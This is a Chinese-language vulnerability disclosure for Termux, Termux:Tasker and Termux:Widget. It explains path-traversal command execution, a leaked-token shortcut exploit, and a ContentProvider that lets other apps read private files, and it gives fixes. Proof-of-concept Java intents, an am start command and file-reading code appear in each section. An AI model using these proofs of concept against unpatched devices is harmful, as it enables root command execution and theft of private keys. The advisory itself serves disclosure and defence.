Termux应用程序漏洞披露
这是 termux-app
、termux-tasker
和 termux-widget
的漏洞报告。
本报告发布于 2022-02-15
, 距 离 termux-app
v0.118.0
发布还剩30
天, 距离谷歌应用商店构建版本的程序被官方地使用添加在 termux-tools
v0.135
中的终端横幅以及 添加带有弃用信息的 termux-app
README 弃用大约有 150
天。 这应该已经为使用谷歌应用商店版本 (最新版本 v0.101
) 的用户留出足够的时间来切换到在 F-Droid 或 Github 发布的 Termux
主程序以及其插件应用,并为其他 <= v0.117
版本的 Termux 应用程序用户提供足够的时间更新为 >= v0.118.0
版本。
建议所有使用旧版本的用户立即更新到Termux
v0.118.0
、 Termux:Tasker
v0.5
以及 Termux:Widget
v0.13.0
目录
1. Termux:Tasker 权限提升漏洞
此漏洞允许其他程序在 termux
上下文执行 任意指令 。如果 termux
被其他应用赋予了 root 权限,甚至可以允许在 root
权限的环境中执行。
本漏洞首先存在于 v0.1
(2016-12-26
) 版本, <= v0.4
的任意版本都会受到该漏洞的影响。本漏洞被修复于 v0.5
(2020-12-07
).
该漏洞源于 Termux:Tasker 应用程序的 FireReceiver.java
文件中,该文件中没有对可执行文件的完整规范路径进行检查并按提供的原样执行。实际上, Termux:Tasker
应用程序仅允许执行 ~/.termux/tasker
目录中的脚本,以防止其他应用程序在 termux 上下文中执行任意命令,但没有对可执行文件进行规范路径检查。其他应用程序可以发送 ../../../usr/bin/bash
作为 executable
参数、 -c "some termux context command"
作为 args
参数以在 termux
环境中执行命令,或者发送 .. /../../usr/bin/su
作为 executable
参数、 -c "some root context command"
作为 args
参数以在 root
权限的环境中执行命令
注意,不一定是 Termux 插件的应用程序将 Intent 发送到 FireReceiver
,任何应用程序都可以使用 Java 代码发送 Intent。 Termux:Tasker Exploit
给出了如何使用 Tasker
的 Java Action 来模拟一个普通的应用程序发送 Intent。
1. POC
Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");
Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);
intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);
2. 修复方式
-
目前,向
FireReceiver
发送 Intent 需要向调用应用程序授予com.termux.permission.RUN_COMMAND
,一个危险
的运行时权限,该权限由 Termux app 发布。 在v0.5
版本发布之前,从v5.9.3
版本开始的 Tasker 应用已经请求过RUN_COMMAND
intent 权限。其他自动化测试应用需要在之后的版本 (26da42f7
) 中请求此权限。 -
在执行之前,
FireReceiver
首先 寻找并校验executable
参数的规范路径。 从v0.5
版本开始,正式支持允许执行~/.termux/tasker
目录之外的可执行文件,但前提是用户已经将allow-external-apps=true
添加到~/.termux/termux.properties
中。 (a5af3db3
)
这种由 Android 系统权限和应用程序设置绝对路径强制执行属性的双重权限模型提供了合理的安全性。除非用户将权限授予不受信任的应用程序,否则可以防止任何任意代码执行或权限提升。
访问 Termux:Tasker
的 README
文件来获取更多详细信息。
3. 讨论
这种漏洞的存在,很大程度上是因为 任何程序都可以向自动化测试程序 (比如 Tasker
) 的插件程序发送 Intent。Tasker
,以及它使用的 locale
插件协议库是在 2008
年左右创建的。当时,安卓系统不存在运行时权限,并且插件的安全性以及可能存在的危险使用方法可能在当时并不算是首要任务/关注点。 但是,对于被授予特殊权限 (例如设备管理员、设备所有者、Android 辅助功能 (无障碍服务),甚至存储、位置等) 的插件应用程序,它们的安全性确实尤其令人担忧。例如,SecureTask
插件,需要被设置为设备管理员,甚至许多功能需要被设置为设备所有者。如果用户在手机上安装了该应用程序,并授予 SecureTask
程序设备管理员的权限,那么任何应用程序都可以直接向其发送 Intent,而无需通过 Tasker 运行特权命令,包括 恢复出厂设置 等。
Termux:Tasker
所需要的 com.termux.permission.RUN_COMMAND
权限,要求 Tasker 等自动化应用程序在其 AndroidManifest.xml
中请求权限,但不能指望所有的插件都这样去做,因为添加这种权限需要自动化应用程序开发者的手动干预。此外,私有的插件可能存在自定义权限,他们的开发人员可能并不想公之于众。之后,可能需要设计某种令牌生成和验证机制,也许会作为 locale
库的核心部分。希望在不久的将来,Termux、自动化程序以及 locale
库的开发者可以一起协作来实现这种功能,因为当前的设计并不是所预期的。
2. Termux:Widget 权限提升漏洞
本漏洞允许任何 启动器程序 在 termux
环境中执行 任意指令。如果 termux
被其他应用赋予了 root 权限,甚至可以允许在 root
环境中执行。在该启动器中, 任何的恶意应用程序 已经创建了一个快捷方式,该快捷方式启动了 Termux:Widget
的 shortcut chooser activity。当用户不小心点击了这个快捷方式时,无论该启动器是否为默认启动器,此漏洞都会被触发。
此漏洞首先存在于 v0.3
(2015-12-20
)版本,从 v0.3
到 <= v0.12
的任意版本均会受到该漏洞的影响。此漏洞被修复于 v0.13.0
(2021-09-23
)版本。
Termux:Widget
的 "安全性" 通过 生成 Token 并将其存储在 SharedPreferences 中来实现。目前,启动器每次创建为静态快捷方式时,都会 发送这个Token 作为创建出的快捷方式 Intent 中的额外内容。当用户点击该快捷方式时,快捷方式的 Intent 由启动器应用程序发送并由 TermuxLaunchShortcutActivity
接收,并检查 Intent 中的 Token 与 SharedPreferences 中的Token 是否匹配。现在这种方式提供了不错的安全性,并且是 API 的一般工作方式。但是,旧版本的程序 没有进行规范路径校验,并将其按原样传递给 TermuxService
。没有检查规范路径是否在 ~/.shortcuts
目录下。因此,一旦恶意的启动器或任何其他的应用程序收到 Token,它就可以随时执行任何命令,如用于前台命令的 "/sdcard/exploit.sh" 或者用于后台的 "/sdcard/tasks/exploit.sh" (Termux:Widget
会将其设定为后台任务,因为父目录名等于tasks
)。
1. POC
-
通过 Termux Terminal 创建一个快捷方式:
touch ~/.shortcuts/tasks/test
-
通过以下方式获取 Token: 安装并打开
TaskerLauncherShortcut
, 点击 选项 (右上角的三个点按钮),选择Search Shortcuts
->Static Shortcut
->Termux:Widget
-> 选择任意一个快捷方式, Intent URI 会被复制到剪切板,比如com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end
。也可以通过 Termux Terminal 来获取 Token,在至少创建了一个快捷方式后,执行cat /data/data/com.termux.widget/shared_prefs/token.xml
。 -
通过 Termux Terminal 创建漏洞利用脚本:
echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh
-
通过 Termux Terminal 或者
adb shell
触发此漏洞:am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025
或者从任何一个应用程序,执行以下 Java 代码:
Intent intent = new Intent();
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
intent.setData(Uri.parse("/sdcard/exploit.sh"));
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
startActivity(intent);
Termux 应用程序将会执行使用 /data/data/com.termux/files/usr/bin/sh
执行 /sdcard/exploit.sh
脚本,/sdcard
被挂载为 noexec
也没有问题。
2. 修复方式
-
在 Android 版本
>=8
时,程序将使用ShortcutManager
API 来创建Pinned Shortcut。这是一个创建快捷方式的更好方法,因为启动器无法访问应用程序的快捷方式数据,Android 系统来储存这些数据,启动器应用程序无法获取 Token ,也无法运行任何不是由用户创建的快捷方式脚本。有关快捷方式类型的更多信息,请查看 https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types。 (e94d7777
) -
在旧版本上,
Termux:Widget
创建的快捷方式和 Token 已经失效。如果恶意应用程序已经拥有这种 Token ,也无法再使用。Android>= 8
上的用户只能使用更安全的 Pinned Shortcut API 来重新创建这些快捷方式,而不是继续使用不安全的 Static Shortcut API。 (32f344ee
) -
在执行之前, 程序首先 寻找并校验
TermuxLaunchShortcutActivity
接收到的可执行文件参数的规范路径。即使某个程序发送的 Intent 发送了路径,损坏的符号链接,或者其规范路径不在~/.shortcuts
或~/.termux
目录下的快捷方式将 不会被显示,并且 后者会不允许被执行 。(32f344ee
,32f344ee
,bcb0ab6c
)
在 Android 版本 >=8
上使用 Pinned Shortcut,不允许执行规范路径不在 ~/.shortcuts
或 ~/.termux
目录下的文件,可以提供合理的安全性,防止任意代码执行或权限提升。Android 版本 < 8
时,仍然要使用 Static Shortcut,这些用户应该关注他们在哪些应用程序中创建了快捷方式,因为这些应用程序能够在允许的目录下执行任何脚本。这些用户通常应该去关注使用了哪些启动器,或者安装在他们的设备上的非启动器的快捷方式应用程序 (例如 Shortcut Maker),因为这些应用程序可以为其他应用程序执行危险的快捷方式,如果应用程序没有正确保护,可能会产生严重的后果。
查阅 Termux:Widget
的README
文件来获取更多详细信息。
3. Termux 文件全局可读
本漏洞允许 /data/data/com.termux/files
下的 所有文件 对 任何应用程序 可读。
本漏洞首先存在于 v0.47
(2017-02-28
)版本,从 v0.47
到 <= v0.117
的任意版本均会收到该漏洞的影响。本漏洞被修复于 v0.118.0
(2022-01-08
)版本。
该漏洞存在于 Termux 的 ContentProvider
声明 中,因为设置了 android.permission.permRead
作为 readPermission
。实际上,当用户请求使用另一个应用程序打开文件,比如使用 termux-open
时,Termux 会传递 FLAG_GRANT_READ_URI_PERMISSION
标志,所以目标应用不需要具有 android.permission.permRead
权限也可以读取文件,这也需要 provider
元素中声明 grantUriPermissions="true"
。但是,如果某些应用程序有这个权限,它就可以通过 Termux TermuxOpenReceiver$ContentProvider.openFile()
去 读取 files
目录下的任何文件。
问题是,正如 com.termux.permission.RUN_COMMAND
这种自定义权限一样,Termux 并未公开声明 android.permission.permRead
权限。这种未公开声明权限可以被称为虚拟权限 (dummy permission),可能是在添加 ContentProvider
时从一些教程或 StackOverflow 的回答中复制的,因为互联网搜索会显示来自不同站点的各种随机结果。这种虚拟权限本来应该被应用程序发布的自定义权限所替换,但事实上并非如此。这将会导致 任何应用 只需在自己的 AndroidManifest.xml
中发布这种权限,并通过 uses-permission
条目授予自己这种权限,就能够 读取 files
下的任何文件和目录。
注意,其他应用程序只能 读取 文件,但不能 写入 文件,因为 TermuxOpenReceiver$ContentProvider.openFile()
返回了一个使用 ParcelFileDescriptor.MODE_READ_ONLY
文件的文件描述符,因此无法写入,如果调用者尝试写入,将会得到 java.io.IOException: write failed: EBADF (Bad file descriptor)
错误。 provider
元素中也没有设置 writePermission
。这仅仅防止了任意代码执行和权限提升,在某些情况下,情况仍然十分糟糕。
1. POC
下面这段 POC 将读取 /data/data/com.termux/files/home/.bashrc
并写入到 /sdcard/bashrc.txt
。
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
<permission
android:name="android.permission.permRead"
android:description="@string/permission_termux_provider_description"
android:icon="@mipmap/ic_launcher"
android:label="Termux Provider"
android:protectionLevel="normal" />
<uses-permission android:name="android.permission.permRead" />
2. 修复方式
-
在 Termux
ContentProvider
的声明中,虚拟权限android.permission.permRead
readPermission
被悄悄地替换为com.termux.permission.RUN_COMMAND
。用于RUN_COMMAND
Intent 和其他插件执行命令的com.termux.permission.RUN_COMMAND
权限来替换这个虚拟权限似乎是合适的,因为命令执行可以访问文件,并且对于第三方应用来说,请求单个权限会更容易。(b62645cd
) -
TermuxOpenReceiver$ContentProvider.openFile()
返回的文件描述符中的模式,之前是ParcelFileDescriptor.MODE_READ_ONLY
,现在改为 以允许读和写或由ParcelFileDescriptor.parseMode()
返回的任何文件模式。通过此更改,没有com.termux.permission.RUN_COMMAND
权限的应用程序将被拒绝访问文件,除非通过termux-open
授予临时的读取权限。对于具有该权限的应用程序,他们可以使用以下代码进行读写。注意,如果调用程序被强制开启分区存储机制 (例如targetSdkVersion
> 28
),那么使用File
APIs (outFile.createNewFile()
) 写入到外部储存将会失败。(b62645cd
)
用于读取或写入 v0.118.0+ 的 termux 文件的示例代码
private void runTermuxContentProviderWriteCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
FileOutputStream fileOutputStream = null;
BufferedWriter bufferedWriter = null;
ParcelFileDescriptor parcelFileDescriptor = null;
try {
parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
bufferedWriter.write("echo 'some script'\n");
bufferedWriter.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (parcelFileDescriptor != null)
parcelFileDescriptor.close();
if (fileOutputStream != null)
fileOutputStream.close();
if (bufferedWriter != null)
bufferedWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
if (!outFile.exists())
outFile.createNewFile();
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 只有在
~/.termux/termux.properties
中将allow-external-apps
设置为true
时才允许 TermuxContentProvider
访问文件。 如果在v0.118.0
中,未将该值设置为true
,这也会导致termux-open
和xdg-open
命令失败。将来的版本中,将添加错误通知。像QuickEdit
这样的调用程序可能仍会弹出一个一闪而过的错误提示。查阅 https://github.com/termux/termux-tasker#allow-external-apps-property-optional 来获取有关如何更改选项中值的信息。 通过ContentProvider
来写入~/.termux/termux.properties
的权限也被禁用,因此应用程序无法在未经用户同意的情况下修改 Termux 设置,尽管现在还可以使用RUN_COMMAND
Intent 执行这种操作,最后可能会实现白名单命令列表来给用户更多的控制权。 (dcedf394
,e302a14c
)
3. 讨论
对于使用 Termux 应用程序版本 <= v0.117
的用户,应该假定所有的私有文件 (例如 ssh
的安全密钥,或其他应用的加密密钥) 都已经泄露。强烈建议使用新的密钥替换任何此类密钥,并从 Termux 连接的任何远程服务器中查看是否存在任何可疑的授权访问。
仍然在使用谷歌应用商店版本的 Termux 用户,请 立即 切换到F -Droid 或 Github Release 的版本。尽管曾经可能会进行一些更新,但由于 Android 10
的一些问题,谷歌应用商店上的程序之后不会再继续更新。谷歌应用商店的构建版本已经在约 150
天前被弃用,也不会再提供任何支持。查阅 https://github.com/termux/termux-app#installation 来获取有关如何安装或更新 Termux 应用程序的更多信息。
理想状况下,谷歌应用商店、F-Droid 以及其他的应用商店也应该检查是否有任何其他应用程序正在使用 android.permission.permRead
或 android.permission.permWrite
权限,或在应用程序的互联网搜索中有应用程序存在 ContentProvider 声明中的其他虚拟权限 (dummy permissions),并通知他们的开发者,因为这些应用程序也容易受到此类漏洞的攻击。此外,任何声明或请求这些权限的恶意应用程序也应该被发现并删除。
如果任何其他开发人员对 Termux
及其插件的应用程序代码进行审计,以查找其他潜在的安全漏洞并修复,从而为用户提供更安全的环境,我们将不胜感激。